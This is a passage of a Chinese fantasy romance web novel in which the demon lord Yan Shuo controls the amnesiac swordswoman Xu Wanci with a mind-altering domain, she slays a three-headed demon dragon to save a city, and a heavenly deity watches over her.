她好奇地往手边的位置看去。 角落中,一件蓝色的精美法器安静的躺在那里。 许晚辞侧过身,右手支撑着身体,用左手指尖艰难的把角落中的法器勾了出来。 拿到法器后,她坐正身体,指尖摩挲着上面的纹路。 蓝色的三叶莲安静的落在她的掌心,与她周身的暗红形成了鲜明的对比,却让人感觉不到一点突兀,反倒带着几分缠绵的美感。 看着她的动作,言朔的目光一点点暗了下来,唇角的笑意也带上了一丝冷意。 他定定地看了她一眼,即使声音温柔,却依旧带着若隐若现的冷意: “原来你还留着这个平平无奇,没有什么用处的法器。” 许晚辞对身边人的情绪向来敏感,她握着三叶莲的手微微用力: 言朔,不喜欢这个法器? 可是为什么她却觉得这个法器,很珍贵。 她看向三叶莲的目光,带着自己都没有察觉的专注。 她根本没有抬头看言朔,所有的试探都被她压在了真挚的赞叹之中: “平平无奇么?” “我觉得很漂亮啊。” “漂亮?”言朔淡淡地扫了一眼她手中的三叶莲,声音带着隐隐的冷意,“可惜了。” “这是你最厌恶的人炼制的法器。” 看着许晚辞诧异的神情,他眉梢微挑,声音从容而淡定: “你留着它,大抵是想庆祝那个人的离世。” “如今刚好百年。” 许晚辞听着他的话,微微垂眸遮住了眼中所有的情绪。 又是那个人。 那个人,是不是和她的过去息息相关? 想到这里,她握着三叶莲的手缓缓用力: “我和那个人,是有什么深仇大恨么?” 言朔闻言唇角的弧度带上了几分温柔的恶意: “是啊,他可是……害你不浅。” 看着许晚辞眼中的好奇,他轻声继续道: “他害你几次重伤濒死,害你修为受限,让你的剑道永远无缘大道……” “有他在,你从未真正开心过,百年的时光中,一直与痛苦为伴。” 他一只手轻轻地点了一下她的左手手臂: “这里,有过一道疼痛能持续一月的伤痕,是因为他。” 许晚辞身体一僵,言朔的指尖从她的手臂,一点点上移,从她的侧肩来到了她的脖颈,最后停留在了她的侧脸之上:“这些地方,都曾经被当世顶尖灵火烧灼,让你休养了数月。” 言朔的手继续上升,轻轻地覆在她的后脑: “你的神识与丹田,更是几次重伤……” 他声音温柔的如同叹息: “你身上所有的伤痕,都是因为那个人,你怎么可能不厌恶他?” 混沌之中。 萧玉衍自己都未曾察觉到指尖凝聚的天道之力,随着言朔的话,无声无息的消散在了漫天的虚无中。 陌生的情绪在心中隐现。 虚无之中,混沌搅弄,唯一的色彩如同水墨一般,继续渲染开来,染出了一片浅蓝。 然后在下一瞬,风云休止。 静立其中的萧玉衍,仿佛又成为了那个聆听万物之语,静看世间兴衰,无波无澜,无情无欲的天道。 只是他的眼中,却有了一丝潮起时汹涌但却沉寂的微光。 天道那颗从来虚无的心,渐渐的有了实形,也有了温度。 神明,正在一步步,心甘情愿的靠近尘世。 靠近尘世中的那人。 哪怕连他自己都不知晓。 暗暝楼中。 许晚辞听着言朔的话,感受着他指尖从她身上拂过,不由地打了个寒战。 她能听出来,言朔说的每一句话,都很真实,真实的仿佛他见到过她受伤的模样。 他没有说谎。 她是真切的受过那样的伤,那样只是听起来就让她觉得疼痛的伤。 看着自己如今完好的双手,她喃喃道:“那该有多疼啊。” 可是那个人,真的是让她受伤至此的人么? 她心中疑惑,却得不到任何答案。 言朔闻言指尖有魔气萦绕,看着三叶莲的目光带上了未曾遮掩的恶意: “既然如此,我替晚辞把它毁了好不好?” “让它去陪那个你厌恶的人。” 许晚辞几乎是下意识握紧了手中的三叶莲,心中涌起来的情绪,不是厌恶,而是担心。 她不想这件法器被毁,甚至不想它受到任何伤害。 她相信自己的直觉,更何况只是一件法器,就算留在身边,也不会给她带来什么危险。 想到这里,她抬起头看向身前人,声音带着几分无奈: “这又不是法器的错。” “我很喜欢这个法器,想留下它。” 说到这里,她目光带上了几分小心翼翼的试探,看起来无害、又只能依托于言朔存在的小心翼翼: “可以么?” 言朔对上她的目光,心中恶意翻涌,却又被他强行压下。 他冷冷地扫了一眼她手中紧握的三叶莲,蓦然回想起曾经她手掌鲜血淋漓,却依旧不肯松手,生怕三叶莲消失的模样。 一件法器。 只是他的一件法器,居然让她在魔域之中,依旧不肯放手。 “既然晚辞喜欢,那就留下。”他缓缓地抚过她的长发,微微垂眸遮住了眼中的猩红,“不过是一件法器罢了。” 他扶着她的肩,让她重新躺回了床上: “你重伤初醒,需要好好休息。” 他眼中猩红的纹路再次涌现,周身的魔域逐步加深: “醒来后,你会更爱我,更离不开我。” 看着许晚辞闭上双眼后,他一只手轻轻点了一下她的额头,声音温柔地诱哄道: “晚辞还有什么想说的么?” 许晚辞一只手握着三叶莲,感受着识海中微弱的光芒,她的声音很轻: “言朔。” “我在。” “你穿蓝色,会不会更好看?” 室内一片死寂。 室外,几十棵落枫树霎时化作了飞灰,消散在了空中。 言朔的面色冷到了极点,周围的魔气控制不住的动荡,却始终没有伤害床上的许晚辞分毫。 良久之后,他站起身,声若寒冰: “不会。” 许晚辞再次醒来时,周围一片安静。 她感受着自己体内充盈的灵气,若有所思地看向窗外。 镂玉雕刻而成的窗上,隐约能看到外面漫天红枫的景色。 她回想了一下之前与言朔的交谈,心中稍稍安定。 不管他们的关系是真还是假。 起码如今,他并不会杀她。 只要没有生命之忧就好,她还活着就好。 她可以慢慢地找寻自己的过去。 她扫了一眼安静无人的室内,翻身下床走了出去。 室外,是几十棵的落枫树,火红的树叶随着微风翩翩起舞,最终优雅的落在了灵石砌成的地面上。 最大的落枫树下。 有着一个暗玉而成的躺椅,旁边是精致奢华但又不失雅致的桌椅。 许晚辞扫视了一圈周围的场景,目光最后停在了即使有玉明石的照耀,却依旧浅红的天空,仿佛不习惯一般皱起了眉头: “天……不应该是蓝色的么?” 不远处的言朔听到她的话,眼中闪过一丝暗色。 他往前走了几步,不疾不徐的脚步声让许晚辞下意识朝着他所在的方向看去: “言朔。” 她的声音带着微不可查的生疏,却偏偏让言朔目光柔和了些许。 他扫了一眼浅红色的天空,淡淡的移开了视线,一挥手,一把剑身碎裂的灵剑随风而去,静静地落在了许晚辞身前。 剑身上带着潇潇的寒气,让周围的温度都降低了几分。 许晚辞看着这一把剑,心中涌起一股亲近之感。 她看了言朔一眼,眼中满是惊喜的笑意,就连声音都比先前多了几分欢快: “这是我的灵剑么?” 言朔看着她唇角的笑意,步伐微顿,不由地放轻了声音: “这是你的灵剑。” 许晚辞一只手握在剑柄之上,手中灵气涌动,向前一挥,一地的红枫随着灵气飞舞,最后化作一团红色的烟雾消失在了原地。 言朔来到她身前,看着她不自觉扬起的唇角,一只手抚过剑身: “这是一把碎裂的剑,永远都不会拥有剑灵。” 他看着许晚辞因为这把剑欢喜开心的模样,指尖微动,声音在这一刻带上了纵容的诱哄: “我可以为你寻来更好的灵剑。” “一把能够拥有剑灵,可以给你带来更大帮助的灵剑。” “晚辞想要么?” 许晚辞根本没有犹豫:“不想。” 这是她真正藏于内心深处的本能。 只要她选择了一条路,一个伙伴,便会坚定的走下去,绝不回头。 她看着手中的九霄剑,抬起头对着言朔认真道: “我既然有了灵剑,便不会在去找其他的灵剑。” 她把九霄剑化作手环围在了手腕之上,声音纯粹清澈: “我永远也不会换掉自己的伙伴。” 言朔听到她干脆利落的拒绝,目光微暗: 又是……拒绝。 她在他面前,仿佛从未有过任何欲望。 除了…… 她在意的,为什么只有那个人呢? 他不动声色的掩住了心中所有的想法,往前走了一步轻笑着看向许晚辞: “原来晚辞如此长情。” “看来我终于不必担心自己被始乱终弃了。” 他一只手抚过她身后的长发,轻唔了一声,懒洋洋道:“也不用时刻担心你会离开我。” 许晚辞感受着身后发丝被触碰的感觉,身体微不可查的僵硬了一瞬。 她还是不习惯言朔的触碰, 这一刻,她愈发怀疑起了他们两人的关系。 她抬起头目光带着一丝真挚的困惑: “我们不是恋人么?” “你为什么觉得我会离开你?” 言朔看着她澄澈的只容得下他一人的双眼,覆在她脑后的手缓缓用力: “世事无常。” “若是我受伤了,晚辞会怎么做?” 许晚辞微微侧头,不明白他为什么会这么问: “当然是为你疗伤啊。” 言朔的下巴轻轻地搭在她的肩上,目光有暗潮涌动: “那要是我死了呢?” 许晚辞闻言心中忽然涌上一股陌生的情感,悲伤的让她心中抽痛。 仿佛在很久之前,有个人,永远的离开了她。 她连心跳都缓到了极点。 看着肩侧的墨色长发,她第一次没有控制好自己的情绪,声音沉闷: “哪有人这么咒自己?” 言朔听着她的声音,眼中有猩红一闪而过: “我是魔,不是人。” 他身边的魔域再次加深: “你还没有回答我的问题。” 不知为何,许晚辞忽然从言朔身上感受到了一股清浅的冰雪之气,清清冷冷,就像是静寂之巅的霜雪,让她下意识想要靠近,下意识想要回答他所有的问题。 她有些迟钝地眨了眨眼睛,一点一点逼自己从毫无缘由的亲近中挣脱出来。 她不知道言朔想要听到什么,但是也能察觉到他对答案的固执。 她眼中带上了几分仿徨与悲伤,声音很轻: “你希望我如何呢?” “我总会做到的。” 言朔闻言轻笑一声,眼中却带上了深沉的墨色: “晚辞会想让我活过来么?” “会找遍修仙界,去寻那微乎其微的一线生机么?” “会千百年中,一步也不停留么?” 许晚辞往后撤了一步,避开了他响在她耳边的呼吸声,心中却有一瞬间的恍惚。 她会么? 这究竟要有多深的爱意,才能让她愿意为他做到如此地步? 她……被爱过么? 被爱,是一种什么感觉? 她问自己,心中却只有一片荒芜。 荒芜的尽头,有一个蓝色的身影一闪而过。 若有一个人,真的爱她至深,真的值得她爱,那她为什么不会? 不过是几百年的寻找罢了。 有了目标的百年,会不会比漫无目的的百年,更快,也更让人期待? 她静静地看着远方,轻声道: “会。” 她会。 言朔闻言蓦然闭上了双眼: 他知道,许晚辞说的都是真的。 曾经,她就是这样,为了一个虚无缥缈的希望,独自找寻了百年。 这一刻,他忽然分不清自己心中的情绪,究竟是开心,还是……嫉妒。 这一刻,她看的人,真的是他么? 没关系。 从今天起,许晚辞不顾一切的对象只会是他。 是啊,只有他,只是他。 言朔睁开双眼,眸中含笑,却又带着让人心惊的欲望: 只属于他的……许晚辞。 他一伸手,将她拉入了怀中,感受着怀中的温度,他轻声道: “为了让晚辞不要太过劳累,我会尽可能活的久一点。” 言朔轻揽着许晚辞,放在她腰间的手缓缓用力,仿佛想要将她嵌入身体之中,眼中的暗色厚重的让人心惊。 许晚辞感受着身侧环绕的气息,不知为何,心中没有什么波动,反倒是过分的冷静: 这一刻,她再次怀疑起了她与言朔的身份。 她一只手试探性的环住他的腰身,心中依旧没有分毫起伏,甚至带着一丝排斥。 不对,她和他的关系,并非深爱的道侣。 她的身体一点点的僵硬起来。 这时的她没有发现,言朔眼中的猩红纹路愈发强盛。 魔域之下,她所有的情绪都归为了一片安静。 言朔,是她的…… 什么? 落枫树下,黑衣与红衣看似缠绵的交织在一起。 遥远的天际。 无欲无求的天道心中: 一滴墨色轻轻落入其中。 清澈通透的湖面之上,有黑色渐渐流转开来。 萧玉衍看向许晚辞的目光,比专注更多了几分固执: 不应该是这样。 站在她身边的人,不应该是他。 应该是…… 他安静而困惑的站在原地,指尖有天道之力一闪而过。 神明尚未理解,却已经有了欲望与嫉妒的存在。 暗暝楼中。 几息之后,夜刑的身影蓦然出现在了楼门之外。 他不敢抬头,从现身的那一刻目光从始至终都未曾离开地面,他单膝跪地,声音恭敬不失沉稳: “陛下,魔界远东之海的三处魔渊发生动荡,如今已经汇聚到了一起。” “请陛下裁决。” 第57章 她终于知道,自己最想要的是什么 阁楼之外, 夜刑恭敬的跪在那里。 他身上的魔气完全收敛,一直隐与魔气之中的双手安静的垂在地上,化作无数修士与魔修都闻风丧胆利刃的五指,冰冷的落在极品灵石铺成的地面之上, 一点点被灵气侵蚀。 他低着头, 灵石的地面上, 映出了他冷硬的脸, 侧脸之上的魔纹向下蜿蜒, 隐入了墨绿色的劲装之中。 再强大的魔将, 在魔尊面前, 也都如同蝼蚁一般。 想起暴动的魔渊,夜刑眼中多了几分慎重: 只是一个魔渊暴动就罢了,他一魔足以镇压, 如今三个魔渊融合, 威力已经超出了所有魔将的掌控。 所以, 他只能汇报给魔尊。 即使他会成为魔尊眼中打扰他的废物,也依旧没有办法。 他知道魔尊的性格,所以在来之暗暝楼之前, 就做好了重伤的准备。 果然,他话音刚落,一股冰冷到足以让所有魔修汗毛耸立的杀意悄无声息的将他包围, 周围的魔气也开始疯狂动荡, 仿佛在诉说着楼中人的不耐。 以楼门为界, 楼中的气息却安静而平缓,就连枫叶都没有一丝颤动, 而楼门之外,风雨将至, 魔气纵横。 疯狂的魔气仿佛下一瞬就能要了夜刑的性命。 就在这时,一个略显疑惑的声音轻轻响起: “言朔,你……应该听到了吧?” 许晚辞借着夜刑的动静,后退一步,从言朔怀中退了出来。 她感受着身体上那股如释重负的轻松,指尖微不可查地颤动了一下。 她的心中依旧疯狂叫嚣着让她相信他,让她靠近他。 甚至无时无刻都在提醒她,她爱他。 许晚辞缓缓地眨了眨眼睛: 若是她只是感觉对言朔稍有亲近,说不定她会更相信几分。 可是如今这样的情绪,突兀的已经超过了她对自己的理解。 哪怕她没有记忆,也不相信自己会这样对一个人近乎没有理智的想要靠近。 况且,心中的感觉或许会骗人,但是身体的本能呢? 她的本能告诉她,她与言朔的关系,不仅不如言朔所言,甚至可能有些僵硬与……敌对。 只是…… 想起方才听到的称呼,她缓缓呼出一口气: 陛下。 言朔,应该就是魔界的主人。 虽然早在之前与他交谈时,她就有所猜测,可是这个身份,依旧让她的心乱了一瞬。 魔界之主……不管他所求为何,以她如今的修为,她都无法抵抗。 想到这里,她掩住了心中所有的情绪,看向言朔的目光依旧同之前一般,虽然有些生疏,却带着仿佛自己都没有察觉到的亲近。 幸好,哪怕她依旧对自己一无所知,却有着伪装的本能。 在危险中,她好像下意识就能伪装出最适合活下去的模样。 言朔感受着怀中渐渐冷却的温度,眸中有暗光涌动,楼外的魔气愈发疯狂,却在许晚辞好奇地向外看去时,再次恢复平静。 他微微侧身,不着痕迹的挡住了她的视线:“只是一些琐事罢了,晚辞不必放在心上。” 许晚辞往后退了两步: 琐事……么? 有人会用琐事,打扰魔界之主么? 魔渊应该在宫殿之外,这或许是她离开这里,观察魔界的一个理由。 现在言朔对她的态度,还算优待,她也不知日后会如何,只能趁着这段时间,尽量了解周围的情况。 也要做好最坏的准备。 她抬起头,目光疑惑: “魔渊动荡……是小事么?” 说到这里,她仿佛是在自问自答,但声音刚好可以让身前人听到: “身为魔界之主,看着魔界出事却不管不顾。” “怎么看起来,有点没有责任心啊。” 言朔唇角的笑意微不可查的僵硬了一瞬,他目光幽暗地扫过许晚辞的侧脸,眼睛微眯: 看来许晚辞,对他的身份,好像并没有多少诧异。 是她早就有所察觉? 也是,他在她面前从未隐藏过。 他看着她低着头,时不时自认为隐蔽的用余光看他一眼的模样,眼中的温柔多了几分真实: 这才是她最本来的模样么? 他轻笑了一声道:“我不过是想多陪晚辞一会儿,魔渊之事,不急于一时。” 许晚辞闻言蹭蹭的后退了两步,顺势将她与言朔的距离拉开的更远: “真是好大一口锅啊。” “你再多说两句,怕是我就要成为整个魔界的罪人了。” 言朔看着她后退的动作时,双眸多了一丝暗色,却又在听到她的声音后,缓缓消退。 他往前走了两步,再次拉近两人的距离,并没有反驳,只是轻笑道:“是我的错。” “是我想忙中偷闲,所以才会放置魔渊一事。” “与晚辞无关。” 许晚辞听出了他声音中的漫不经心,也听出了他并未动怒。 所以,他不排斥她有所僭越的话。 但前提是,她表现的对他有所亲近。 想到这里,她快走两步,来到了言朔身前,唇角扬起了一个略显欢快的笑意: “不是要去魔渊么?” “我们走吧。” 听着她口中的‘我们’二字,言朔拒绝的话停在唇边,最终没有说出口。 他转过身,与她并肩道: “魔渊暴动会很危险。” 许晚辞闻言一脸‘你怎么说话不算话’的表情: “不是你说想要和我多待一会儿么?” 言朔闻言略显无奈地摸了摸她的长发:“好,一起去。” 不过是三个魔渊罢了,于他而言根本算不了什么。 天际之中。 萧玉衍静静地看着这一幕,万物都被他排除在了双眸之外,只剩下了两个身影。 一明一暗。 许晚辞与言朔…… 明明只是平常中稍显亲近的动作,却偏偏让他指尖的天道之力,聚了又散。 他依旧不清楚心中的情绪到底是什么,可周身混沌之中的蓝色,却越来越多。 就在这时,魔界中的许晚辞已经走出了暗暝楼。 她看着一片暗红色的天空,眼中似乎带着一丝自己都未曾察觉到的悲伤,她喃喃道: “蓝色的天空,应该会更漂亮吧。” 一滴水落入心间,缓缓地稀释了先前的墨色。 只有死寂与虚无的混沌之中,仿若有清风吹过,大片大片的蓝色渲染开来。 萧玉衍看着那双安静而悲伤的眼睛,心中涌起细微的疼痛。 轻到了极点,却偏偏让他第一次察觉到了心脏的存在。 魔界之中,许晚辞在说完那句话后,便察觉到了身侧人身边魔气的躁动。 即使只有一瞬,却足够让她警惕起来: 言朔,不喜欢她提起蓝色。 可蓝色……难道不只是一种颜色么? 一种她喜欢的颜色。 还是一种…… 一种什么的颜色? 许晚辞眼中闪过一丝茫然,却在下一刻被她若无其事的压制,她看着前方暗红的仿佛没有边际的道路,转过头一脸好奇地转移话题道: “魔渊离这里很远么?” “我们需要走多久?” 言朔一只手握在她的手腕,动作比起之前多了几分不容反抗的强硬,他声音低沉平缓: “闭上眼睛,我们就要到了。” 许晚辞感受着手腕处的温度,察觉到了他声音中隐隐的不耐。 她眨了眨眼睛,仿佛是有些疑惑,但依旧没有反抗,只是乖巧的闭上了眼睛。 言朔看着她如今乖巧的模样,眼中的暗色渐渐消退,他魔气一动,下一瞬,两人就出现在了暴动的魔渊旁。 魔渊处,所有的魔修都已经尽数撤离,只剩下了半空中的魔渊,和魔渊数百米之外严阵以待的七位魔将。 三道深不见底,仿佛能吞噬一切的魔渊,在半空中纠缠交叠在了一起,周围的魔气被魔渊吞噬扭转,已经黑得浓稠。 魔渊交叠的地方,一个恐怖的虚影渐渐显现,等到虚影破渊而出的那一刻,周围的一切,都会被摧毁殆尽。 许晚辞感受着身前仿佛能将她湮灭的魔渊,缓缓地眨了眨眼睛。 虽然这已经足以称得上是极致的危险,但是她心中却并没有多少害怕,她几乎是下意识开始找寻起了虚影的弱点。 就仿佛,曾经的她,面对过比如今还要危险的场景,还从中,找出了一条生路。 她身边的言朔并没有在意魔渊,他定定地看着许晚辞专注却没有丝毫惧怕的双眼,漆黑如墨的眸中,带上了几分少有的笑意。 他用魔气替许晚辞隔绝了魔渊的气息,用手背碰了碰她的侧脸,声音温柔: “不怕么?” 许晚辞听着言朔的话,心中忽然涌起了一个陌生却又熟悉的情绪: 怕有什么用? 需要拼命才能活下去的时候,怕这种情绪,需要最先摒弃。 许晚辞略一怔愣: 这是她……曾经的想法么? 只是一瞬间,她就调整好了自己的心情,她没有转头,只是安静地看着前方: “还好。” 透过魔渊,她忽然看到了远处看起来渺小却又不可忽视的城池。 那里的魔修,来得及全部撤离么? 看着虚影越发明显的模样,她心中忽然多了几分紧张: 若是虚影出现,那城池…… 她几乎是下意识想起了言朔在听到汇报时那漫不经心,根本不曾放在心上的模样: 他不是魔界之主么? 为什么看起来好像根本不在意魔渊暴动带来的后果? 许晚辞侧过头,看着身前人温柔地看向她的模样,心缓缓沉了下去: 这一瞬,她忽然真切的意识到,她不会喜欢言朔。 若是他不爱她或者觉得她不够有趣时,他会怎么做? 会被他毫不犹豫的摒弃,如同今日的城池,还是…… 对于这样的人,哪怕是失去记忆的她,都绝不敢动心,更何况拥有记忆的她? 就在这时,言朔仿佛察觉到了身边人心情的起伏,眉梢微挑: “怎么了?” 许晚辞并没有掩饰自己的情绪,她皱眉看着深渊的方向,声音带着一丝恰到好处的干涩: “那个影子,它出来了。” 深渊之中,三个龙首已经从深渊之中探出了头。 言朔并未回头,他只是轻笑着拂过许晚辞侧脸的长发:“每个深渊中,都会有一个魔物,它们相互依存,又相互制约。” “这次,是三个深渊中的魔物,选择了融合。” 三首魔龙已经探出了大半个身子,周围的深渊之气,已经厚重到落下了黑色的雨滴。 言朔把一片漆黑的羽石放入许晚辞的掌心,声音闲适: “乖乖在这里等我,很快就好。” 许晚辞还来不及开口,就看到言朔消失在了原地。 手中的羽石抵御住了所有的魔气与深渊之气,也隔绝了她的存在。 她站在这里,仿佛被隐匿了身形一般,引不起任何人的注意。 就在她还未曾反应过来时,一块枯骨,忽然落在了她身前不远处,枯骨中,隐约能见到一块儿黑色的,已经布满裂痕的魔晶。 许晚辞抬起头,看向半空。 狂暴气息的最中央,三首魔龙的其中一首已经被言朔毁掉,只剩两首的它,愈发暴动,身后的巨尾掀起的魔气将不远处城池的防护罩甩出了几条裂痕。 三首魔龙的对面,言朔闲适地站在那里,他伸出手,手中的魔气纵横,只是一击,便在魔龙身上破开了一道巨大的伤口,伤口处,隐隐能见到魔晶的影子。 下一击,魔晶应声而碎。 许晚辞指尖微动: 言朔,比她想象的,或许还要强大的多。 这样,她接下来在面对他时,必须更加谨慎。 半空中,已经被毁掉了两个魔晶的魔龙愈发疯狂,它失去了本就不多的理智,疯狂的挣扎着,想要毁灭周围的一切。 言朔看着面前的魔龙,眼睛微眯: 原来是牺牲了另外两个魔晶,将最重要的魔晶藏起来了么? 他一抬手,手中的魔气朝着一个方向击去,击中魔龙,却只留下了一个暗沉的黑洞。 魔龙身上的魔气太过强盛,言朔虽然修为高出它许多,但要想从它庞大的身躯中找出隐匿的魔晶的存在,也并不容易。 他眼中多了几分冷意,一挥手,魔龙身上的魔气如同溪流一般,缓缓地涌入他的身体,被他吸收,同化: 既然魔晶不好找,那便不找了。 直接将它身上的魔气吸干殆尽,它自然就没有了活路。 魔龙仿佛是察觉到了危机,全身都在疯狂翻滚,周围的魔气一圈一圈地朝着外界涌去,不远处城池的防护罩,已经布满了裂痕,再也没有了抵抗之力。 许晚辞看着这一幕,缓缓地攥紧了手中的羽石。 她不想看到城池被毁,更不喜欢……在原地等待。 不想只是被保护的站在原地,等待着其他人将她解救。 她不应该是这样的。 她明明也足够强大,她的修为明明也足以伤害到魔龙,即使需要拼尽全力,即使只有一击。 她应该…… 许晚辞识海中的神识,悄无声息的亮了起来。 这一刻,她忽然感觉自己对魔气变得极为敏感,能清楚地看到魔龙身上每一寸魔气的分部,如今魔龙身上的魔气,还剩大半,而言朔周身,就如同一个巨大的漩涡,让她余光只是扫视一眼,便心神震动。 她缓缓呼出一口气: 等言朔吸完它身上的魔气,大抵还需要半盏茶的时间。 虽然已经足够快,但还是不够。 许晚辞指尖微动: 若是她能动用魔龙身边的魔气…… 她试探性地牵引了一下身边的魔气,却根本得不到任何回应。 她心中忽然升起了一个奇怪的念头: 若是灵气,她肯定可以操控。 她的目光,一寸寸地掠过魔龙的身体,就在这一瞬,她忽然察觉到了魔龙身上一丝与其他魔气略有不同的地方。 那是龙尾九寸之处。 很微弱,但只有这一处。 许晚辞握紧手中的羽石,如果是龙尾,再加上手中的羽石,她有六成的把握。 九霄剑,无声无息的出现在了她的手中。 就在魔龙的龙尾挣扎着扫向她所在的方向时,她仿佛早已经演练过千百遍一般,右手持剑,在黑暗的魔气中,犹如一道明光,朝着龙尾而去。 她的速度快到了极点,在魔将等人发现的那一刻,她已经人剑一体,从魔龙的龙尾中破了出来。 叮的一声。 是魔晶落在地上的声音,很轻,却响在了所有人耳边。 许晚辞站在不远处,面色带着灵气被抽空的苍白,半身衣裙被魔龙的鲜血染成了黑色,黑色与红色拼凑在一起,美丽却又震撼。 她手中的?? 九霄剑上,一滴黑色的魔龙之血从剑身滚落到了剑尖,又从剑尖坠落到了地上,落入了魔龙的最后一粒魔晶之上。 身后,魔龙的身体蓦然湮灭,化作魔气消散在了天地之间。 不远处,城池如初。 许晚辞感受着自己丹田已经枯竭的灵气,缓缓的眨了眨眼睛。 这一刻,她终于意识到了,她最想要的,最喜欢的是什么。 是强大。 能掌控自己,救赎自己的强大。 第58章 言朔,你手腕上的红痣,怎么不见了 混沌之中。 萧玉衍看着许晚辞破开龙尾后安然无恙的那一幕, 指尖那凝聚到极致的天道之力,缓缓消散在了虚无之中。 他站在原地,定定地看着下界中那个红衣猎猎,一剑破九霄的身影, 定定地看着她平静似水但坚定如初的双眸。 即使已经面色苍白, 即使持剑的右手已经开始颤动, 她却从未想要后退分毫。 一种放任于灵魂之上的强大与坚韧。 萧玉衍眼中的情绪如同潮水汹涌, 却又在下一刻, 被万物与规则压制, 再次回到了最初的波澜不惊。 只是在眼底最深处, 许晚辞的身影,却再也没有消退。 他听着自己的心跳声,微微垂眸, 周身清冷的冰雪之气, 有一瞬间的消融。 这一刻, 万物复苏。 他好像知道,他想要什么了。 他想看她……如今日一般。 从容,强大, 以及欢喜。 永远……得偿所愿。 这一次,在他的掌控之下,指尖的天道之力逐渐汇聚, 最后凝成一滴水滴, 悄无声息地落在了许晚辞的丹田中, 没有引起任何人的注意。 她丹田中的天华参,在这一刻, 多了千年的灵气,缓慢但温和地滋润着她已经干涸的丹田。 魔界之中。 言朔在许晚辞周身灵气波动的那一瞬, 便察觉到了她挥剑的动作。 以许晚辞的修为,对抗魔龙,无异于以卵击石。 可他并未制止,甚至也没有限制魔龙的行动。 不乖的孩子,应该自己承受代价。 总归不管她受多重的伤,他都能为她治好。 只要不死就够了。 他没有想到,会有这样惊艳的一剑。 冷静至极的观察,一击制敌的剑法。 让他想起了最初见到许晚辞时,她即使丹田灵力耗尽,依旧以灵气为击,殊死一搏的场景。 即使失去了记忆,她和那时,依旧没有什么区别。 言朔的眼睛微眯,眼中猩红的纹路不受控制的涌现,心跳也开始变得无序: 一个强大的灵魂,一个让他战栗的灵魂。 真想藏起来,不让任何人看到,不让任何人觊觎。 这一刻,他眼中的人,再也不是什么萧玉衍的挚爱之人。 只是,许晚辞。 他身后,七位魔将脸上的表情都是如出一辙的震惊。 他们是魔将,是魔界中仅次于魔尊的存在。 所以,他们也格外了解这一次魔渊暴动中的魔物有多恐惧。 魔渊是对魔界的限制,魔渊中的魔物,虽然没有多少理智,却强大非常。 今日这是就连他们七位魔将联手,也只能限制片刻,只能伤及皮毛的三首魔龙。 方才,就连魔尊都未曾察觉到最后一枚魔晶的存在。 许晚辞不但发现,并且能一击致命。 这种胆识与强大,足以令他们叹服。 他们看许晚辞的目光,再也没有了之前碍于魔尊之威只是流于表面的尊敬,而是带上了真实的敬重。 魔族,从来都崇尚强者。 只有夜刑,察觉到了许晚辞最开始目光所停留的方向。 那里,魔启城的防护罩已经完全碎裂。 再有一击,其中来不及撤离的所有魔民,会重伤,甚至死亡。 是为了那些魔民么? 所以她才会明明身处绝对安全之地,却仍要以身涉险。 夜刑看着许晚辞立于风中,身形纤瘦却又坚韧无比的模样,眼中有复杂涌现。 就在七位魔将愣神看向许晚辞的这一瞬,言朔身上的魔气,裹挟着冰冷的杀意,朝着他们席卷而来。 所有人的面色在一瞬间变得惨白,身体也不受控制地开始颤抖。 他们赶忙底下头,再也不敢看许晚辞一眼。 言朔感受着身后消退的视线,躁动的情绪终于有所平缓,他压住眼中所有的暗色,不疾不徐地来到了许晚辞身边。 许晚辞感受着自己丹田处缓缓恢复的灵力,下意识内视丹田,发现了角落中不仔细注意根本察觉不到的灵植,灵植边是一枚丹药,安静而无害的静立在那里。 若不是灵植有了灵气波动,她可能不会如此快的察觉。 在魔界之中,根本没有灵气存在,丹田中有能恢复灵力的宝物,对她而言,非常有用。 想到这里,她若有所思地收起了手中的九霄剑,就是不知这个灵植,是否与言朔有关。 听着身后的脚步声,她转身时,就已经藏好了心中所有的想法。 她抬起头,双眼亮晶晶地看着言朔,唇角微微上扬,却又被她强行压制,仿佛是在等对面人的夸奖。 言朔看着她俏皮却又对他全然信任的模样,视线最终停留在了她璀璨夺目的双眸之上。 她的眼中,只有他一人。 他微不可查的眯起了眼睛,心中的欲望在这一刻仿佛被填满一般,发出了餍足的轻叹: 真好。 没有萧玉衍。 这是只属于他的许晚辞。 言朔的目光扫过她依旧苍白的面色,牵起她的左手,一枚明凌玉轻轻地落入了她掌心: “这一次,多亏了晚辞的帮助。” “这是谢礼。” 明凌玉一入手,许晚辞便感觉到丹田中的灵气迅速恢复。 这是专门恢复灵气的宝物。 所以言朔大概率也不清楚她丹田中灵植的存在。 她抬起头,目光仿佛带着强忍的欢喜,她若无其事地握紧手中的明凌玉,摆了摆手道: “只是举手之劳罢了,不必客气。” 说到这里,她依旧一脸亲近,跃跃欲试道: “言朔,还有其他暴动的魔渊么?” “我觉得我能一个打俩!” 言朔听到她的声音,目光微不可查的一暗,他揉了揉她的发丝,声音无奈道: “若是每天都有这么多暴动的魔渊,怕是半个魔界都要被毁了。” “你今日动用了太多的灵气,还是回暗暝楼好好休养,以后再出来猎杀魔物也不迟。” 许晚辞听到他的话,气鼓鼓地抬头看了他一眼,看到他眼中温柔的担忧后,她收起了眼中的不开心,后退两步,对着他转了一个圈。 她周身灵气翻涌,溢散的灵气在黑与红交织的裙摆上化作了点点星光,裙角飞舞,灵气四溢。 暗沉的魔气中,她是唯一的光源。 她停下身,周身灵气再次归附丹田,她对着身前人灵动的笑着: “言朔,你看!” “我的灵气已经恢复了!” “再打一个魔渊,绝对不是问题!” 混沌之中,萧玉衍看着红衣翩跹,灵气遥遥的许晚辞,心跳倏地快了一瞬。 只是…… 看着她对着身前人笑靥如花,灵动俏皮的模样,心跳再一次沉寂,只是这一次,心跳中,似乎有了几分他无法分辨的刺痛: 如果,她口中的名字…… 看着她身前的言朔,他第一次察觉,原来万物中,还有如此碍眼的存在。 魔界中。 言朔看着许晚辞伴着星星点点的灵光,轻笑着望向他的场景,目光微怔。 一粒灵光缓缓飘到他的身边,却瞬间被他周身的魔气吞噬,再无一丝痕迹。 仿佛代表着他们二人的结局。 言朔的目光,蓦然暗了下来。 他喜欢她的强大,却也厌恶她失去控制的感觉。 他的声音温柔但却带着挥之不去的强硬: “晚辞,我们该回家了。” 言语间,他眸中猩红的纹路缓缓流转,施加在许晚辞身上的魔域不断加重。 这时,没有人察觉,一丝天道之力轻柔地落在了她的身上。 许晚辞心中忽然有了两种奇怪的感觉。 一种在疯狂地叫嚣着让自己答应言朔所有的要求,另一种,则是让她冷静下来。 